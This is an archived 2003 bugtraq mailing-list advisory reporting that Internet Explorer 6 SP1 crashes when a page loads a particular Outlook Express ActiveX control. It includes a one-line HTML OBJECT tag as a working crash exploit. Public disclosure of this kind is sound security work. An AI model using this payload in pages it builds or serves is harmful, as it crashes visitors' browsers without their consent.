[30943] in bugtraq
IE6 SP1 - Trivial Crash
daemon@ATHENA.MIT.EDU (James Wolfe)
Tue Jul 29 15:41:47 2003
Message-ID: <007201c355da$9e0d9e70$0d00a8c0@quicsolutions.com>
From: "James Wolfe" <james@quicsolutions.com>
To: <bugtraq@securityfocus.com>
Date: Tue, 29 Jul 2003 10:06:33 -0400
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Overview/Description:
In March of 2000, someone posted to bugtraq a flaw in the MS Outlook
Express ActiveX control which allowed for "the reading of any file on the
users machine." My guess is that MS, in an attempt to bugfix it, didnt debug
properly and left the following new bug. So now, using the same OE ActiveX
Control, a single line of code can crash IE.
Exploit:
<OBJECT CLASSID="CLSID:1C82EAD9-508E-11D1-8DCF-00C04FB951F9"
data="1.html"></OBJECT>
Recommendation:
Don't put this line of code in your pages. Other than that, I dont know
what to tell you.
Credit:
This vulnerability was discovered by James Wolfe of QuIC Solutions, Inc.
